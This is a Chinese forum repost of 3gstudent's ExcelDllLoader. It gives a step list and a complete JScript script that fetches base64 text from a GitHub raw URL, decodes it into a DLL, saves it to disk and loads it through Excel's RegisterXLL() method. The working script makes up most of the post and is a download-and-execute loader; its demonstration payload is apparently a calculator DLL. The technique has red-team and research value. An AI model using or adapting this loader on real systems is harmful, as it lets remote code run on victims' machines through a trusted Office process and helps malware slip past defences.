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标题: [转载代码] ExcelDllLoader [打印本页]
作者: codegay    时间: 2017-7-25 03:44     标题: ExcelDllLoader

https://github.com/3gstudent/ExcelDllLoader

Execute DLL via the Excel.Application object's RegisterXLL() method

ExcelDllLoader.js:

Check if Microsoft Office has been installed
Download the dll from Github
Save the dll to %appdata%\Microsoft\Windows\Recent
Load it via the Excel.Application object's RegisterXLL() method
ExcelDllLoader(Base64decode).js：

Download the Base64 encoded text from Github
Base64 decoded and get the calc.dll
Save the dll to c:\test\calc.dll
Load it via the Excel.Application object's RegisterXLL() method



ExcelDllLoader(Base64decode).js:
  1. x="c:\\test\\calc.dll";

  2. h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");

  3. h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calcbase64.txt",false);

  4. h.Send();

  5. enc=new ActiveXObject("System.Text.ASCIIEncoding");

  6. length=enc.GetByteCount_2(h.ResponseText);

  7. ba=enc.GetBytes_4(h.ResponseText);

  8. transform=new ActiveXObject("System.Security.Cryptography.FromBase64Transform");

  9. ba=transform.TransformFinalBlock(ba,0,length);

  10. s=new ActiveXObject("ADODB.Stream");

  11. s.Type=1;

  12. s.Open();

  13. s.Write(ba);	

  14. s.SaveToFile(x,2);

  15. new ActiveXObject("Excel.Application").RegisterXLL(x);
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